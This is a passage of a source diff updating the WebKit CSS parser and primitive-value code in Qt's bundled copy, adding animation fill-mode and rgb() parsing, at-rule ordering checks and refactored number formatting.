         if (id == CSSValueAuto || id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     case CSSPropertyWebkitRtlOrdering:
         if (id == CSSValueLogical || id == CSSValueVisual)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     
     case CSSPropertyWebkitFontSizeDelta:           // <length>
-        valid_primitive = validUnit(value, FLength, m_strict);
+        validPrimitive = validUnit(value, FLength, m_strict);
         break;
 
     case CSSPropertyWebkitNbspMode:     // normal | space
         if (id == CSSValueNormal || id == CSSValueSpace)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyWebkitLineBreak:   // normal | after-white-space
         if (id == CSSValueNormal || id == CSSValueAfterWhiteSpace)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyWebkitMatchNearestMailBlockquoteColor:   // normal | match
         if (id == CSSValueNormal || id == CSSValueMatch)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyWebkitHighlight:
         if (id == CSSValueNone || value->unit == CSSPrimitiveValue::CSS_STRING)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
     
     case CSSPropertyWebkitBorderFit:
         if (id == CSSValueBorder || id == CSSValueLines)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
         
     case CSSPropertyWebkitTextSecurity:
         // disc | circle | square | none | inherit
         if (id == CSSValueDisc || id == CSSValueCircle || id == CSSValueSquare|| id == CSSValueNone)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
     case CSSPropertyWebkitFontSmoothing:
         if (id == CSSValueAuto || id == CSSValueNone 
             || id == CSSValueAntialiased || id == CSSValueSubpixelAntialiased)
-            valid_primitive = true;
+            validPrimitive = true;
         break;
 
 #if ENABLE(DASHBOARD_SUPPORT)
@@ -1646,7 +1657,7 @@ bool CSSParser::parseValue(int propId, bool important)
         // [ [ 'font-style' || 'font-variant' || 'font-weight' ]? 'font-size' [ / 'line-height' ]?
         // 'font-family' ] | caption | icon | menu | message-box | small-caption | status-bar | inherit
         if (id >= CSSValueCaption && id <= CSSValueStatusBar)
-            valid_primitive = true;
+            validPrimitive = true;
         else
             return parseFont(important);
         break;
@@ -1688,7 +1699,7 @@ bool CSSParser::parseValue(int propId, bool important)
 #endif
     }
 
-    if (valid_primitive) {
+    if (validPrimitive) {
         if (id != 0)
             parsedValue = CSSPrimitiveValue::createIdentifier(id);
         else if (value->unit == CSSPrimitiveValue::CSS_STRING)
@@ -1882,7 +1893,8 @@ bool CSSParser::parseAnimationShorthand(bool important)
                                 CSSPropertyWebkitAnimationTimingFunction,
                                 CSSPropertyWebkitAnimationDelay,
                                 CSSPropertyWebkitAnimationIterationCount,
-                                CSSPropertyWebkitAnimationDirection };
+                                CSSPropertyWebkitAnimationDirection,
+                                CSSPropertyWebkitAnimationFillMode };
     const int numProperties = sizeof(properties) / sizeof(properties[0]);
     
     ShorthandScope scope(this, CSSPropertyWebkitAnimation);
@@ -2235,7 +2247,7 @@ PassRefPtr<CSSValue> CSSParser::parseFillPositionXY(bool& xFound, bool& yFound)
             percent = 50;
         return CSSPrimitiveValue::create(percent, CSSPrimitiveValue::CSS_PERCENTAGE);
     }
-    if (validUnit(m_valueList->current(), FPercent|FLength, m_strict))
+    if (validUnit(m_valueList->current(), FPercent | FLength, m_strict))
         return CSSPrimitiveValue::create(m_valueList->current()->fValue,
                                          (CSSPrimitiveValue::UnitTypes)m_valueList->current()->unit);
                 
@@ -2343,7 +2355,7 @@ PassRefPtr<CSSValue> CSSParser::parseFillSize(int propId, bool& allowComma)
     if (value->id == CSSValueAuto)
         parsedValue1 = CSSPrimitiveValue::create(0, CSSPrimitiveValue::CSS_UNKNOWN);
     else {
-        if (!validUnit(value, FLength|FPercent, m_strict))
+        if (!validUnit(value, FLength | FPercent, m_strict))
             return 0;
         parsedValue1 = CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes)value->unit);
     }
@@ -2356,7 +2368,7 @@ PassRefPtr<CSSValue> CSSParser::parseFillSize(int propId, bool& allowComma)
         else if (value->unit == CSSParserValue::Operator && value->iValue == ',')
             allowComma = false;
         else {
-            if (!validUnit(value, FLength|FPercent, m_strict))
+            if (!validUnit(value, FLength | FPercent, m_strict))
                 return 0;
             parsedValue2 = CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes)value->unit);
         }
@@ -2558,17 +2570,25 @@ PassRefPtr<CSSValue> CSSParser::parseAnimationDirection()
 PassRefPtr<CSSValue> CSSParser::parseAnimationDuration()
 {
     CSSParserValue* value = m_valueList->current();
-    if (validUnit(value, FTime|FNonNeg, m_strict))
+    if (validUnit(value, FTime | FNonNeg, m_strict))
         return CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes)value->unit);
     return 0;
 }
 
+PassRefPtr<CSSValue> CSSParser::parseAnimationFillMode()
+{
+    CSSParserValue* value = m_valueList->current();
+    if (value->id == CSSValueNone || value->id == CSSValueForwards || value->id == CSSValueBackwards || value->id == CSSValueBoth)
+        return CSSPrimitiveValue::createIdentifier(value->id);
+    return 0;
+}
+
 PassRefPtr<CSSValue> CSSParser::parseAnimationIterationCount()
 {
     CSSParserValue* value = m_valueList->current();
     if (value->id == CSSValueInfinite)
         return CSSPrimitiveValue::createIdentifier(value->id);
-    if (validUnit(value, FInteger|FNonNeg, m_strict))
+    if (validUnit(value, FInteger | FNonNeg, m_strict))
         return CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes)value->unit);
     return 0;
 }
@@ -2705,6 +2725,11 @@ bool CSSParser::parseAnimationProperty(int propId, RefPtr<CSSValue>& result)
                     if (currValue)
                         m_valueList->next();
                     break;
+                case CSSPropertyWebkitAnimationFillMode:
+                    currValue = parseAnimationFillMode();
+                    if (currValue)
+                        m_valueList->next();
+                    break;
                 case CSSPropertyWebkitAnimationIterationCount:
                     currValue = parseAnimationIterationCount();
                     if (currValue)
@@ -3039,7 +3064,7 @@ bool CSSParser::parseFont(bool important)
             } else {
                 valid = false;
             }
-        } else if (!font->weight && validUnit(value, FInteger|FNonNeg, true)) {
+        } else if (!font->weight && validUnit(value, FInteger | FNonNeg, true)) {
             int weight = (int)value->fValue;
             int val = 0;
             if (weight == 100)
@@ -3087,7 +3112,7 @@ bool CSSParser::parseFont(bool important)
     // <absolute-size> | <relative-size> | <length> | <percentage> | inherit
     if (value->id >= CSSValueXxSmall && value->id <= CSSValueLarger)
         font->size = CSSPrimitiveValue::createIdentifier(value->id);
-    else if (validUnit(value, FLength|FPercent|FNonNeg, m_strict))
+    else if (validUnit(value, FLength | FPercent | FNonNeg, m_strict))
         font->size = CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes) value->unit);
     value = m_valueList->next();
     if (!font->size || !value)
@@ -3100,7 +3125,7 @@ bool CSSParser::parseFont(bool important)
             return false;
         if (value->id == CSSValueNormal) {
             // default value, nothing to do
-        } else if (validUnit(value, FNumber|FLength|FPercent|FNonNeg, m_strict))
+        } else if (validUnit(value, FNumber | FLength | FPercent | FNonNeg, m_strict))
             font->lineHeight = CSSPrimitiveValue::create(value->fValue, (CSSPrimitiveValue::UnitTypes) value->unit);
         else
             return false;
@@ -3328,6 +3353,12 @@ bool CSSParser::parseFontWeight(bool important)
     return false;
 }
 
+static bool isValidFormatFunction(CSSParserValue* val)
+{
+    CSSParserValueList* args = val->function->args;
+    return equalIgnoringCase(val->function->name, "format(") && (args->current()->unit == CSSPrimitiveValue::CSS_STRING || args->current()->unit == CSSPrimitiveValue::CSS_IDENT);
+}
+
 bool CSSParser::parseFontFaceSrc()
 {
     RefPtr<CSSValueList> values(CSSValueList::createCommaSeparated());
@@ -3355,7 +3386,7 @@ bool CSSParser::parseFontFaceSrc()
                     CSSParserValue* a = args->current();
                     uriValue.clear();
                     parsedValue = CSSFontFaceSrcValue::createLocal(a->string);
-                } else if (equalIgnoringCase(val->function->name, "format(") && allowFormat && uriValue) {
+                } else if (allowFormat && uriValue && isValidFormatFunction(val)) {
                     expectComma = true;
                     allowFormat = false;
                     uriValue->setFormat(args->current()->string);
@@ -3477,19 +3508,66 @@ bool CSSParser::parseFontFaceUnicodeRange()
     return true;
 }
 
+static inline bool isCSSWhitespace(UChar c)
+{
+    return c == ' ' || c == '\t' || c == '\r' || c == '\n' || c == '\f';
+}
+
+static inline bool parseInt(const UChar*& string, const UChar* end, UChar terminator, int& value)
+{
+    const UChar* current = string;
+    int localValue = 0;
+    bool negative = false;
+    while (current != end && isCSSWhitespace(*current)) 
+        current++;
+    if (current != end && *current == '-') {
+        negative = true;
+        current++;
+    }
+    if (current == end || !isASCIIDigit(*current))
+        return false;
+    while (current != end && isASCIIDigit(*current))
+        localValue = localValue * 10 + *current++ - '0';
+    while (current != end && isCSSWhitespace(*current))
+        current++;
+    if (current == end || *current++ != terminator)
+        return false;
+    // Clamp negative values at zero.
+    value = negative ? 0 : localValue;
+    string = current;
+    return true;
+}
+
 bool CSSParser::parseColor(const String &name, RGBA32& rgb, bool strict)
 {
     if (!strict && Color::parseHexColor(name, rgb))
         return true;
 
-    // try a little harder
+    // Try rgb() syntax.
+    if (name.startsWith("rgb(")) {
+        const UChar* current = name.characters() + 4;
+        const UChar* end = name.characters() + name.length();
+        int red;
+        int green;
+        int blue;
+        if (!parseInt(current, end, ',', red))
+            return false;
+        if (!parseInt(current, end, ',', green))
+            return false;
+        if (!parseInt(current, end, ')', blue))
+            return false;
+        if (current != end)
+            return false;
+        rgb = makeRGB(red, green, blue);
+        return true;
+    }        
+    // Try named colors.
     Color tc;
     tc.setNamedColor(name);
     if (tc.isValid()) {
         rgb = tc.rgb();
         return true;
     }
-
     return false;
 }
 
@@ -3522,7 +3600,9 @@ bool CSSParser::parseColorParameters(CSSParserValue* value, int* colorArray, boo
         v = args->next();
         if (!validUnit(v, FNumber, true))
             return false;
-        colorArray[3] = static_cast<int>(max(0.0, min(1.0, v->fValue)) * 255);
+        // Convert the floating pointer number of alpha to an integer in the range [0, 256),
+        // with an equal distribution across all 256 values.
+        colorArray[3] = static_cast<int>(max(0.0, min(1.0, v->fValue)) * nextafter(256.0, 0.0));
     }
     return true;
 }
@@ -3754,8 +3834,8 @@ bool CSSParser::parseShadow(int propId, bool important)
                 // value.  Treat as invalid.
                 return false;
 #if ENABLE(SVG)
-            // -webkit-shadow does not support multiple values.
-            if (static_cast<CSSPropertyID>(propId) == CSSPropertyWebkitShadow)
+            // -webkit-svg-shadow does not support multiple values.
+            if (static_cast<CSSPropertyID>(propId) == CSSPropertyWebkitSvgShadow)
                 return false;
 #endif            
             // The value is good.  Commit it.
@@ -4015,7 +4095,7 @@ bool CSSParser::parseBorderImage(int propId, bool important, RefPtr<CSSValue>& r
         return false;
 
     while ((val = m_valueList->next())) {
-        if (context.allowNumber() && validUnit(val, FInteger|FNonNeg|FPercent, true)) {
+        if (context.allowNumber() && validUnit(val, FInteger | FNonNeg | FPercent, true)) {
             context.commitNumber(val);
         } else if (propId == CSSPropertyWebkitBorderImage && context.allowSlash() && val->unit == CSSParserValue::Operator && val->iValue == '/') {
             context.commitSlash();
@@ -4613,11 +4693,13 @@ static inline int yyerror(const char*) { return 1; }
 int CSSParser::lex(void* yylvalWithoutType)
 {
     YYSTYPE* yylval = static_cast<YYSTYPE*>(yylvalWithoutType);
-    int token = lex();
     int length;
+
+    lex();
+
     UChar* t = text(&length);
 
-    switch (token) {
+    switch (token()) {
     case WHITESPACE:
     case SGML_CD:
     case INCLUDES:
@@ -4683,12 +4765,29 @@ int CSSParser::lex(void* yylvalWithoutType)
         break;
     }
 
-    return token;
+    return token();
 }
 
-static inline bool isCSSWhitespace(UChar c)
+void CSSParser::recheckAtKeyword(const UChar* str, int len)
 {
-    return c == ' ' || c == '\t' || c == '\r' || c == '\n' || c == '\f';
+    String ruleName(str, len);
+    if (equalIgnoringCase(ruleName, "@import"))
+        yyTok = IMPORT_SYM;
+    else if (equalIgnoringCase(ruleName, "@page"))
+        yyTok = PAGE_SYM;
+    else if (equalIgnoringCase(ruleName, "@media"))
+        yyTok = MEDIA_SYM;
+    else if (equalIgnoringCase(ruleName, "@font-face"))
+        yyTok = FONT_FACE_SYM;
+    else if (equalIgnoringCase(ruleName, "@charset"))
+        yyTok = CHARSET_SYM;
+    else if (equalIgnoringCase(ruleName, "@namespace"))
+        yyTok = NAMESPACE_SYM;
+    else if (equalIgnoringCase(ruleName, "@-webkit-keyframes"))
+        yyTok = WEBKIT_KEYFRAMES_SYM;
+    else if (equalIgnoringCase(ruleName, "@-webkit-mediaquery"))
+        yyTok = WEBKIT_MEDIAQUERY_SYM;
+    // FIXME: Add CSS Variables if we ever decide to turn it back on.
 }
 
 UChar* CSSParser::text(int *length)
@@ -4744,6 +4843,8 @@ UChar* CSSParser::text(int *length)
     UChar* out = start;
     UChar* escape = 0;
 
+    bool sawEscape = false;
+
     for (int i = 0; i < l; i++) {
         UChar* current = start + i;
         if (escape == current - 1) {
@@ -4788,6 +4889,7 @@ UChar* CSSParser::text(int *length)
         }
         if (!escape && *current == '\\') {
             escape = current;
+            sawEscape = true;
             continue;
         }
         *out++ = *current;
@@ -4808,9 +4910,23 @@ UChar* CSSParser::text(int *length)
     }
     
     *length = out - start;
+    
+    // If we have an unrecognized @-keyword, and if we handled any escapes at all, then
+    // we should attempt to adjust yyTok to the correct type.
+    if (yyTok == ATKEYWORD && sawEscape)
+        recheckAtKeyword(start, *length);
+
     return start;
 }
 
+void CSSParser::countLines()
+{
+    for (UChar* current = yytext; current < yytext + yyleng; ++current) {
+        if (*current == '\n')
+            ++m_line;
+    }
+}
+
 CSSSelector* CSSParser::createFloatingSelector()
 {
     CSSSelector* selector = fastNew<CSSSelector>();
@@ -4938,7 +5054,7 @@ CSSRule* CSSParser::createCharsetRule(const CSSParserString& charset)
 
 CSSRule* CSSParser::createImportRule(const CSSParserString& url, MediaList* media)
 {
-    if (!media || !m_styleSheet)
+    if (!media || !m_styleSheet || !m_allowImportRules)
         return 0;
     RefPtr<CSSImportRule> rule = CSSImportRule::create(m_styleSheet, url, media);
     CSSImportRule* result = rule.get();
@@ -4950,6 +5066,7 @@ CSSRule* CSSParser::createMediaRule(MediaList* media, CSSRuleList* rules)
 {
     if (!media || !rules || !m_styleSheet)
         return 0;
+    m_allowImportRules = m_allowNamespaceDeclarations = m_allowVariablesRules = false;
     RefPtr<CSSMediaRule> rule = CSSMediaRule::create(m_styleSheet, media, rules);
     CSSMediaRule* result = rule.get();
     m_parsedStyleObjects.append(rule.release());
@@ -4967,6 +5084,7 @@ CSSRuleList* CSSParser::createRuleList()
 
 WebKitCSSKeyframesRule* CSSParser::createKeyframesRule()
 {
+    m_allowImportRules = m_allowNamespaceDeclarations = m_allowVariablesRules = false;
     RefPtr<WebKitCSSKeyframesRule> rule = WebKitCSSKeyframesRule::create(m_styleSheet);
     WebKitCSSKeyframesRule* rulePtr = rule.get();
     m_parsedStyleObjects.append(rule.release());
@@ -4975,9 +5093,10 @@ WebKitCSSKeyframesRule* CSSParser::createKeyframesRule()
 
 CSSRule* CSSParser::createStyleRule(Vector<CSSSelector*>* selectors)
 {
+    m_allowImportRules = m_allowNamespaceDeclarations = m_allowVariablesRules = false;
     CSSStyleRule* result = 0;
     if (selectors) {
-        RefPtr<CSSStyleRule> rule = CSSStyleRule::create(m_styleSheet);
+        RefPtr<CSSStyleRule> rule = CSSStyleRule::create(m_styleSheet, m_lastSelectorLine);
         rule->adoptSelectorVector(*selectors);
         if (m_hasFontFaceOnlyValues)
             deleteFontFaceOnlyValues();
@@ -4991,6 +5110,7 @@ CSSRule* CSSParser::createStyleRule(Vector<CSSSelector*>* selectors)
 
 CSSRule* CSSParser::createFontFaceRule()
 {
+    m_allowImportRules = m_allowNamespaceDeclarations = m_allowVariablesRules = false;
     RefPtr<CSSFontFaceRule> rule = CSSFontFaceRule::create(m_styleSheet);
     for (unsigned i = 0; i < m_numParsedProperties; ++i) {
         CSSProperty* property = m_parsedProperties[i];
@@ -5008,6 +5128,15 @@ CSSRule* CSSParser::createFontFaceRule()
     return result;
 }
 
+void CSSParser::addNamespace(const AtomicString& prefix, const AtomicString& uri)
+{
+    if (!m_styleSheet || !m_allowNamespaceDeclarations)
+        return;
+    m_allowImportRules = false;
+    m_allowVariablesRules = false;
+    m_styleSheet->addNamespace(this, prefix, uri);
+}
+
 #if !ENABLE(CSS_VARIABLES)
 
 CSSRule* CSSParser::createVariablesRule(MediaList*, bool)
@@ -5029,6 +5158,9 @@ bool CSSParser::addVariableDeclarationBlock(const CSSParserString&)
 
 CSSRule* CSSParser::createVariablesRule(MediaList* mediaList, bool variablesKeyword)
 {
+    if (!m_allowVariablesRules)
+        return 0;
+    m_allowImportRules = false;
     RefPtr<CSSVariablesRule> rule = CSSVariablesRule::create(m_styleSheet, mediaList, variablesKeyword);
     rule->setDeclaration(CSSVariablesDeclaration::create(rule.get(), m_variableNames, m_variableValues));
     clearVariables();    
@@ -5169,6 +5301,12 @@ WebKitCSSKeyframeRule* CSSParser::createKeyframeRule(CSSParserValueList* keys)
     return keyframePtr;
 }
 
+void CSSParser::invalidBlockHit()
+{
+    if (m_styleSheet && !m_hadSyntacticallyValidCSSRule)
+        m_styleSheet->setHasSyntacticallyValidCSSHeader(false);
+}
+
 static int cssPropertyID(const UChar* propertyName, unsigned length)
 {
     if (!length)
diff --git a/src/3rdparty/webkit/WebCore/css/CSSParser.h b/src/3rdparty/webkit/WebCore/css/CSSParser.h
index 6d1bb32..9c6aa37 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSParser.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSParser.h
@@ -95,6 +95,7 @@ namespace WebCore {
         PassRefPtr<CSSValue> parseAnimationDelay();
         PassRefPtr<CSSValue> parseAnimationDirection();
         PassRefPtr<CSSValue> parseAnimationDuration();
+        PassRefPtr<CSSValue> parseAnimationFillMode();
         PassRefPtr<CSSValue> parseAnimationIterationCount();
         PassRefPtr<CSSValue> parseAnimationName();
         PassRefPtr<CSSValue> parseAnimationPlayState();
@@ -187,13 +188,18 @@ namespace WebCore {
         MediaQuery* createFloatingMediaQuery(Vector<MediaQueryExp*>*);
         MediaQuery* sinkFloatingMediaQuery(MediaQuery*);
 
+        void addNamespace(const AtomicString& prefix, const AtomicString& uri);
+
         bool addVariable(const CSSParserString&, CSSParserValueList*);
         bool addVariableDeclarationBlock(const CSSParserString&);
         bool checkForVariables(CSSParserValueList*);
         void addUnresolvedProperty(int propId, bool important);
-        
+        void invalidBlockHit();
+
         Vector<CSSSelector*>* reusableSelectorVector() { return &m_reusableSelectorVector; }
-        
+
+        void updateLastSelectorLine() { m_lastSelectorLine = m_line; }
+
         bool m_strict;
         bool m_important;
         int m_id;
@@ -212,6 +218,7 @@ namespace WebCore {
         bool m_implicitShorthand;
 
         bool m_hasFontFaceOnlyValues;
+        bool m_hadSyntacticallyValidCSSRule;
 
         Vector<String> m_variableNames;
         Vector<RefPtr<CSSValue> > m_variableValues;
@@ -222,9 +229,12 @@ namespace WebCore {
         int lex(void* yylval);
         int token() { return yyTok; }
         UChar* text(int* length);
+        void countLines();
         int lex();
         
     private:
+        void recheckAtKeyword(const UChar* str, int len);
+    
         void clearProperties();
 
         void setupParser(const char* prefix, const String&, const char* suffix);
@@ -246,6 +256,12 @@ namespace WebCore {
         int yyleng;
         int yyTok;
         int yy_start;
+        int m_line;
+        int m_lastSelectorLine;
+
+        bool m_allowImportRules;
+        bool m_allowVariablesRules;
+        bool m_allowNamespaceDeclarations;
 
         Vector<RefPtr<StyleBase> > m_parsedStyleObjects;
         Vector<RefPtr<CSSRuleList> > m_parsedRuleLists;
@@ -287,7 +303,7 @@ namespace WebCore {
     int cssPropertyID(const String&);
     int cssValueKeywordID(const CSSParserString&);
 
-    class ShorthandScope {
+    class ShorthandScope : public FastAllocBase {
     public:
         ShorthandScope(CSSParser* parser, int propId) : m_parser(parser)
         {
diff --git a/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValue.cpp b/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValue.cpp
index d2286bb..e6caa2b 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValue.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValue.cpp
@@ -34,8 +34,6 @@
 #include "Rect.h"
 #include "RenderStyle.h"
 #include <wtf/ASCIICType.h>
-#include <wtf/MathExtras.h>
-#include <wtf/StringExtras.h>
 #include <wtf/StdLibExtras.h>
 
 #if ENABLE(DASHBOARD_SUPPORT)
@@ -70,7 +68,7 @@ PassRefPtr<CSSPrimitiveValue> CSSPrimitiveValue::createColor(unsigned rgbValue)
     static ColorValueCache* colorValueCache = new ColorValueCache;
     // These are the empty and deleted values of the hash table.
     if (rgbValue == Color::transparent) {
-        static CSSPrimitiveValue* colorTransparent = new CSSPrimitiveValue(Color::transparent);
+        static CSSPrimitiveValue* colorTransparent = new CSSPrimitiveValue(CSSValueTransparent);
         return colorTransparent;
     }
     if (rgbValue == Color::white) {
@@ -118,11 +116,30 @@ PassRefPtr<CSSPrimitiveValue> CSSPrimitiveValue::create(const String& value, Uni
     return adoptRef(new CSSPrimitiveValue(value, type));
 }
 
-static const char* valueOrPropertyName(int valueOrPropertyID)
+static const AtomicString& valueOrPropertyName(int valueOrPropertyID)
 {
-    if (const char* valueName = getValueName(valueOrPropertyID))
-        return valueName;
-    return getPropertyName(static_cast<CSSPropertyID>(valueOrPropertyID));
+    ASSERT_ARG(valueOrPropertyID, valueOrPropertyID >= 0);
+    ASSERT_ARG(valueOrPropertyID, valueOrPropertyID < numCSSValueKeywords || (valueOrPropertyID >= firstCSSProperty && valueOrPropertyID < firstCSSProperty + numCSSProperties));
+
+    if (valueOrPropertyID < 0)
+        return nullAtom;
+
+    if (valueOrPropertyID < numCSSValueKeywords) {
+        static AtomicString* cssValueKeywordStrings[numCSSValueKeywords];
+        if (!cssValueKeywordStrings[valueOrPropertyID])
+            cssValueKeywordStrings[valueOrPropertyID] = new AtomicString(getValueName(valueOrPropertyID));
+        return *cssValueKeywordStrings[valueOrPropertyID];
+    }
+
+    if (valueOrPropertyID >= firstCSSProperty && valueOrPropertyID < firstCSSProperty + numCSSProperties) {
+        static AtomicString* cssPropertyStrings[numCSSProperties];
+        int propertyIndex = valueOrPropertyID - firstCSSProperty;
+        if (!cssPropertyStrings[propertyIndex])
+            cssPropertyStrings[propertyIndex] = new AtomicString(getPropertyName(static_cast<CSSPropertyID>(valueOrPropertyID)));
+        return *cssPropertyStrings[propertyIndex];
+    }
+
+    return nullAtom;
 }
 
 // "ident" from the CSS tokenizer, minus backslash-escape sequences
@@ -686,71 +703,6 @@ int CSSPrimitiveValue::getIdent()
     return m_value.ident;
 }
 
-static void appendCSSDouble(Vector<UChar>& vector, double value)
-{
-    // From the CSS specification section titled "Integers and real numbers",
-    // real numbers are only formatted as [sign] [digits] "." [digits].
-    // This differs from printf-style formatting in that exponents (e.g. 1.3e06)
-    // are not allowed.  Since NaN/inf are also not valid CSS values this
-    // function doesn't handle them.
-
-    // For compatibility with what was returned by older versions of
-    // WebKit, we target 6 digits of precision.
-    const int digitsAfterDecimalPoint = 6;
-    long long rounded = llround(fabs(value) * 1000000.0);
-    if (rounded == 0) {
-        vector.append('0');
-        return;
-    }
-
-    char buf[24];
-    int length = snprintf(buf, sizeof(buf), "%lld", rounded);
-    int decimalPoint = length - digitsAfterDecimalPoint;
-
-    // We are matching printf("%g")'s behavior and must trim trailing zeros,
-    // regardless of whether they're significant.
-    while (length > 0 && length > decimalPoint && buf[length - 1] == '0')
-        length--;
-
-    // Reserve an estimate of space for the number of digits we anticipate
-    // along with a minus sign/initial zero/decimal point.
-    vector.reserveCapacity(vector.size() + 3 + length);
-
-    if (value < 0)
-        vector.append('-');
-
-    if (decimalPoint <= 0) {
-        // Only digits after the decimal point.
-        vector.append('0');
-        vector.append('.');
-        for (int i = decimalPoint; i < 0; i++)
-            vector.append('0');
-        for (int i = 0; i < length; i++)
-            vector.append(buf[i]);
-    } else if (length <= decimalPoint) {
-        // Only digits before the decimal point.
-        for (int i = 0; i < length; i++)
-            vector.append(buf[i]);
-    } else {
-        // Digits before and after the decimal point.
-        for (int i = 0; i < decimalPoint; i++)
-            vector.append(buf[i]);
-        vector.append('.');
-        for (int i = decimalPoint; i < length; i++)
-            vector.append(buf[i]);
-    }
-}
-
-static String formatWithUnits(double value, const char* units)
-{
-    Vector<UChar> result;
-    appendCSSDouble(result, value);
-    result.reserveCapacity(result.size() + strlen(units));
-    for (int i = 0; units[i]; i++)
-        result.append(units[i]);
-    return String::adopt(result);
-}
-
 String CSSPrimitiveValue::cssText() const
 {
     // FIXME: return the original value instead of a generated one (e.g. color
@@ -762,61 +714,61 @@ String CSSPrimitiveValue::cssText() const
             break;
         case CSS_NUMBER:
         case CSS_PARSER_INTEGER:
-            text = formatWithUnits(m_value.num, "");
+            text = String::number(m_value.num);
             break;
         case CSS_PERCENTAGE:
-            text = formatWithUnits(m_value.num, "%");
+            text = String::format("%.6lg%%", m_value.num);
             break;
         case CSS_EMS:
-            text = formatWithUnits(m_value.num, "em");
+            text = String::format("%.6lgem", m_value.num);
             break;
         case CSS_EXS:
-            text = formatWithUnits(m_value.num, "ex");
+            text = String::format("%.6lgex", m_value.num);
             break;
         case CSS_REMS:
-            text = formatWithUnits(m_value.num, "rem");
+            text = String::format("%.6lgrem", m_value.num);
             break;
         case CSS_PX:
-            text = formatWithUnits(m_value.num, "px");
+            text = String::format("%.6lgpx", m_value.num);
             break;
         case CSS_CM:
-            text = formatWithUnits(m_value.num, "cm");
+            text = String::format("%.6lgcm", m_value.num);
             break;
         case CSS_MM:
-            text = formatWithUnits(m_value.num, "mm");
+            text = String::format("%.6lgmm", m_value.num);
             break;
         case CSS_IN:
-            text = formatWithUnits(m_value.num, "in");
+            text = String::format("%.6lgin", m_value.num);
             break;
         case CSS_PT:
-            text = formatWithUnits(m_value.num, "pt");
+            text = String::format("%.6lgpt", m_value.num);
             break;
         case CSS_PC:
-            text = formatWithUnits(m_value.num, "pc");
+            text = String::format("%.6lgpc", m_value.num);
             break;
         case CSS_DEG:
-            text = formatWithUnits(m_value.num, "deg");
+            text = String::format("%.6lgdeg", m_value.num);
             break;
         case CSS_RAD:
-            text = formatWithUnits(m_value.num, "rad");
+            text = String::format("%.6lgrad", m_value.num);
             break;
         case CSS_GRAD:
-            text = formatWithUnits(m_value.num, "grad");
+            text = String::format("%.6lggrad", m_value.num);
             break;
         case CSS_MS:
-            text = formatWithUnits(m_value.num, "ms");
+            text = String::format("%.6lgms", m_value.num);
             break;
         case CSS_S:
-            text = formatWithUnits(m_value.num, "s");
+            text = String::format("%.6lgs", m_value.num);
             break;
         case CSS_HZ:
-            text = formatWithUnits(m_value.num, "hz");
+            text = String::format("%.6lghz", m_value.num);
             break;
         case CSS_KHZ:
-            text = formatWithUnits(m_value.num, "khz");
+            text = String::format("%.6lgkhz", m_value.num);
             break;
         case CSS_TURN:
-            text = formatWithUnits(m_value.num, "turn");
+            text = String::format("%.6lgturn", m_value.num);
             break;
         case CSS_DIMENSION:
             // FIXME
@@ -997,7 +949,7 @@ CSSParserValue CSSPrimitiveValue::parserValue() const
             break;
         case CSS_IDENT: {
             value.id = m_value.ident;
-            String name = valueOrPropertyName(m_value.ident);
+            const AtomicString& name = valueOrPropertyName(m_value.ident);
             value.string.characters = const_cast<UChar*>(name.characters());
             value.string.length = name.length();
             break;
diff --git a/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValue.idl b/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValue.idl
index befe5ac..8580664 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValue.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValue.idl
@@ -19,11 +19,7 @@
 
 module css {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=a286b0cb-4ff0-4482-aa6e-7c5fb39afaba,
-        ImplementationUUID=c310c84d-480f-4bbb-9187-28e00956ac47
-    ] CSSPrimitiveValue : CSSValue {
+    interface CSSPrimitiveValue : CSSValue {
 
         // UnitTypes
         const unsigned short CSS_UNKNOWN    = 0;
@@ -69,11 +65,8 @@ module css {
             raises(DOMException);
         Rect getRectValue()
             raises(DOMException);
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         RGBColor getRGBColorValue()
             raises(DOMException);
-#endif
-
     };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValueMappings.h b/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValueMappings.h
index 6f89df9..223b515 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValueMappings.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSPrimitiveValueMappings.h
@@ -1,6 +1,6 @@
 /*
  * Copyright (C) 2007 Alexey Proskuryakov <ap@nypop.com>.
- * Copyright (C) 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2008, 2009 Apple Inc. All rights reserved.
  * Copyright (C) 2009 Torch Mobile Inc. All rights reserved. (http://www.torchmobile.com/)
  *
  * Redistribution and use in source and binary forms, with or without
@@ -28,6 +28,7 @@
 #ifndef CSSPrimitiveValueMappings_h
 #define CSSPrimitiveValueMappings_h
 
+#include "ColorSpace.h"
 #include "CSSPrimitiveValue.h"
 #include "CSSValueKeywords.h"
 #include "FontSmoothingMode.h"
@@ -197,6 +198,9 @@ template<> inline CSSPrimitiveValue::CSSPrimitiveValue(ControlPart e)
         case DefaultButtonPart:
             m_value.ident = CSSValueDefaultButton;
             break;
+        case InnerSpinButtonPart:
+            m_value.ident = CSSValueInnerSpinButton;
+            break;
